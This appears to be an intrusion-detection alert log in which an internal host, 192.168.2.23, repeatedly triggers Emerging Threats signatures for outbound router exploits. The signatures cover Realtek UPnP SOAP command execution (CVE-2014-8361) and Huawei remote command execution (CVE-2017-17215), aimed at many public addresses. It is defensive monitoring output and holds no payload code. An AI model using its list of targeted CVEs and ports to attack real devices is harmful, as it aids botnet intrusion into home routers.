SID:	2025132
Source Port:	60580
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.191.15.111

Timestamp:	07/20/24-23:01:45.382207
SID:	2027339
Source Port:	51494
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.97.226.41

Timestamp:	07/20/24-23:01:31.981855
SID:	2835222
Source Port:	36682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.25.40.12

Timestamp:	07/20/24-23:01:07.033766
SID:	2835222
Source Port:	39600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.154.71.43

Timestamp:	07/20/24-23:01:20.592479
SID:	2027339
Source Port:	37526
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.255.148.186

Timestamp:	07/20/24-23:01:31.999991
SID:	2829579
Source Port:	43104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.231.235.189

Timestamp:	07/20/24-23:00:59.196993
SID:	2835222
Source Port:	48984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.20.16.241

Timestamp:	07/20/24-23:01:57.872971
SID:	2027339
Source Port:	35896
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.25.159.41

Timestamp:	07/20/24-23:01:02.127340
SID:	2835222
Source Port:	37594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.220.6.134

Timestamp:	07/20/24-23:01:31.318207
SID:	2027339
Source Port:	33038
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 73.36.171.85

Timestamp:	07/20/24-23:01:20.598095
SID:	2831300
Source Port:	35054
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.235.222.86

Timestamp:	07/20/24-23:01:58.353725
SID:	2027339
Source Port:	34064
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.218.249.85

Timestamp:	07/20/24-23:01:02.070492
SID:	2829579
Source Port:	49084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.217.22.246

Timestamp:	07/20/24-23:01:00.639093
SID:	2835222
Source Port:	47118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.145.45.176

Timestamp:	07/20/24-23:01:25.544921
SID:	2027339
Source Port:	46024
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 161.98.32.121

Timestamp:	07/20/24-23:01:01.432181
SID:	2025132
Source Port:	42150
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 134.89.250.200

Timestamp:	07/20/24-23:01:57.747300
SID:	2025132
Source Port:	40012
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.78.231.116

Timestamp:	07/20/24-23:01:24.916250
SID:	2829579
Source Port:	59644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 163.212.66.23

Timestamp:	07/20/24-23:01:42.608320
SID:	2831300
Source Port:	47468
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.31.252.0

Timestamp:	07/20/24-23:01:02.113055
SID:	2829579
Source Port:	57074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.206.154.241

Timestamp:	07/20/24-23:01:44.670958
SID:	2027339
Source Port:	40520
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 203.177.111.61

Timestamp:	07/20/24-23:01:34.044223
SID:	2835222
Source Port:	50906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 92.1.18.107

Timestamp:	07/20/24-23:01:41.399866
SID:	2025132
Source Port:	34108
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.118.63.112

Timestamp:	07/20/24-23:01:58.313085
SID:	2027339
Source Port:	51858
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.108.114.50

Timestamp:	07/20/24-23:01:43.197088
SID:	2027339
Source Port:	55986
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.126.20.80

Timestamp:	07/20/24-23:00:59.148144
SID:	2829579
Source Port:	45076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 14.187.245.173

Timestamp:	07/20/24-23:02:04.721025
SID:	2831300
Source Port:	38956
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 39.181.226.152

Timestamp:	07/20/24-23:01:24.618795
SID:	2025132
Source Port:	38894
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.128.52.113

Timestamp:	07/20/24-23:01:24.745266
SID:	2027339
Source Port:	38978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 80.2.7.209

Timestamp:	07/20/24-23:01:42.048889
SID:	2831300
Source Port:	53344
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 167.62.210.191

Timestamp:	07/20/24-23:01:31.974580
SID:	2829579
Source Port:	48674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 179.176.134.213

Timestamp:	07/20/24-23:01:48.885298
SID:	2025132
Source Port:	49372
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 138.199.35.177

Timestamp:	07/20/24-23:01:49.084300
SID:	2027339
Source Port:	40496
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 202.190.28.250

Timestamp:	07/20/24-23:02:11.703257
SID:	2027339
Source Port:	48238
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.203.255.180

Timestamp:	07/20/24-23:01:24.934977
SID:	2835222
Source Port:	45260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.195.248.226

Timestamp:	07/20/24-23:01:41.217142
SID:	2027339
Source Port:	59288
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 154.161.89.111

Timestamp:	07/20/24-23:02:20.005310
SID:	2027339
Source Port:	50682
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 222.12.61.68

Timestamp:	07/20/24-23:01:20.132510
SID:	2829579
Source Port:	40272
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 63.248.77.62

Timestamp:	07/20/24-23:01:54.808195
SID:	2831300
Source Port:	33692
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 147.169.170.137

Timestamp:	07/20/24-23:01:43.013771
SID:	2027339
Source Port:	52668
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 60.59.133.184

Timestamp:	07/20/24-23:01:47.979559
SID:	2025132
Source Port:	36320
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 135.110.213.163

Timestamp:	07/20/24-23:01:04.769670
SID:	2025132
Source Port:	38540
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 93.0.10.232

Timestamp:	07/20/24-23:01:43.203681
SID:	2025132
Source Port:	43904
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.22.127.255

Timestamp:	07/20/24-23:01:24.934977
SID:	2835222
Source Port:	40688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.115.56.95

Timestamp:	07/20/24-23:00:57.220817
SID:	2829579
Source Port:	48860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 137.158.184.177

Timestamp:	07/20/24-23:01:31.976649
SID:	2835222
Source Port:	36002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.65.150.230

Timestamp:	07/20/24-23:01:34.055714
SID:	2835222
Source Port:	56810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 116.148.59.65

Timestamp:	07/20/24-23:01:56.400580
SID:	2027339
Source Port:	51140
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 136.148.234.160

Timestamp:	07/20/24-23:01:48.885298
SID:	2027339
Source Port:	49894
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.122.186.57

Timestamp:	07/20/24-23:01:11.631728
SID:	2835222
Source Port:	40466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.85.169.251

Timestamp:	07/20/24-23:01:04.039128
SID:	2835222
Source Port:	48384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 206.154.64.238

Timestamp:	07/20/24-23:01:47.783977
SID:	2027339
Source Port:	40278
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 19.15.33.52

Timestamp:	07/20/24-23:01:41.354322
SID:	2025132
Source Port:	42528
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.157.179.142

Timestamp:	07/20/24-23:01:27.664606
SID:	2829579
Source Port:	36288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.216.224.125

Timestamp:	07/20/24-23:01:44.839991
SID:	2027339
Source Port:	49784
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 212.62.106.68

Timestamp:	07/20/24-23:01:48.858207
SID:	2027339
Source Port:	51006
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 213.9.81.218

Timestamp:	07/20/24-23:01:58.249114
SID:	2831300
Source Port:	46940
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.209.84.96

Timestamp:	07/20/24-23:01:00.635367
SID:	2835222
Source Port:	45902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.165.136.62

Timestamp:	07/20/24-23:01:24.916250
SID:	2835222
Source Port:	47154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 209.24.146.250

Timestamp:	07/20/24-23:01:47.503890
SID:	2831300
Source Port:	44896
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 117.49.51.0

Timestamp:	07/20/24-23:01:08.939279
SID:	2027339
Source Port:	49680
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.140.14.0

Timestamp:	07/20/24-23:01:48.047800
SID:	2027339
Source Port:	33026
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.183.96.31

Timestamp:	07/20/24-23:03:46.030378
SID:	2027339
Source Port:	41142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.127.162.127

Timestamp:	07/20/24-23:01:56.300735
SID:	2027339
Source Port:	52236
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.181.192.91

Timestamp:	07/20/24-23:01:31.976795
SID:	2835222
Source Port:	53580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 23.185.211.99

Timestamp:	07/20/24-23:01:59.104072
SID:	2831300
Source Port:	45002
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 209.233.186.203

Timestamp:	07/20/24-23:02:12.203120
SID:	2831300
Source Port:	55958
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 206.228.241.87

Timestamp:	07/20/24-23:01:27.651332
SID:	2829579
Source Port:	49900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 223.123.26.129

Timestamp:	07/20/24-23:01:45.519802
SID:	2025132
Source Port:	39112
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.236.128.48

Timestamp:	07/20/24-23:01:00.654988
SID:	2829579
Source Port:	46836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 72.254.44.143

Timestamp:	07/20/24-23:01:24.929013
SID:	2829579
Source Port:	44842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 170.132.161.86

Timestamp:	07/20/24-23:01:46.444461
SID:	2025132
Source Port:	58180
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 109.115.27.6

Timestamp:	07/20/24-23:01:08.615260
SID:	2831300
Source Port:	46546
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 92.202.152.200

Timestamp:	07/20/24-23:02:02.439009
SID:	2027339
Source Port:	56738
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.30.21.28

Timestamp:	07/20/24-23:01:24.882291
SID:	2835222
Source Port:	34656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 98.94.65.60

Timestamp:	07/20/24-23:01:43.047922
SID:	2027339
Source Port:	60022
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 203.57.14.26

Timestamp:	07/20/24-23:01:48.576250
SID:	2025132
Source Port:	41576
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.239.203.194

Timestamp:	07/20/24-23:01:02.048367
SID:	2835222
Source Port:	41918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.246.142.35

Timestamp:	07/20/24-23:02:16.745304
SID:	2027339
Source Port:	32840
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 79.42.102.158

Timestamp:	07/20/24-23:01:42.660847
SID:	2027339
Source Port:	40084
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 54.182.169.174

Timestamp:	07/20/24-23:01:50.169961
SID:	2027339
Source Port:	43394
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.144.161.152

Timestamp:	07/20/24-23:01:34.048825
SID:	2835222
Source Port:	41030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 1.26.245.187

Timestamp:	07/20/24-23:01:44.158709
SID:	2831300
Source Port:	33618
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 89.86.226.219

Timestamp:	07/20/24-23:01:44.026968
SID:	2831300
Source Port:	36782
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.247.247.18

Timestamp:	07/20/24-23:01:24.444696
SID:	2027339
Source Port:	48644
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 105.187.39.89

Timestamp:	07/20/24-23:01:42.706162
SID:	2025132
Source Port:	49040
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 158.210.184.146

Timestamp:	07/20/24-23:01:24.929013
SID:	2829579
Source Port:	44336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.86.217.223

Timestamp:	07/20/24-23:01:04.118165
SID:	2829579
Source Port:	37384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.208.30.144

Timestamp:	07/20/24-23:01:46.913205
SID:	2027339
Source Port:	47070
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 44.143.79.165

Timestamp:	07/20/24-23:02:00.570605
SID:	2027339
Source Port:	45240
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.211.80.133

Timestamp:	07/20/24-23:01:07.016889
SID:	2835222
Source Port:	54644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 134.101.23.241

Timestamp:	07/20/24-23:01:45.432263
SID:	2027339
Source Port:	34106
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 160.135.194.107

Timestamp:	07/20/24-23:01:40.285038
SID:	2835222
Source Port:	41800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.235.141.174

Timestamp:	07/20/24-23:01:46.877606
SID:	2027339
Source Port:	34746
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.13.238.183

Timestamp:	07/20/24-23:01:53.427882
SID:	2027339
Source Port:	37342
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 155.161.137.123

Timestamp:	07/20/24-23:01:08.691384
SID:	2831300
Source Port:	37212
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 124.34.247.33

Timestamp:	07/20/24-23:01:56.353592
SID:	2025132
Source Port:	49216
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 166.142.205.252

Timestamp:	07/20/24-23:01:31.312736
SID:	2831300
Source Port:	49186
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 211.214.194.53

Timestamp:	07/20/24-23:02:14.686790
SID:	2025132
Source Port:	40436
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.127.76.103

Timestamp:	07/20/24-23:01:27.658221
SID:	2835222
Source Port:	54958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

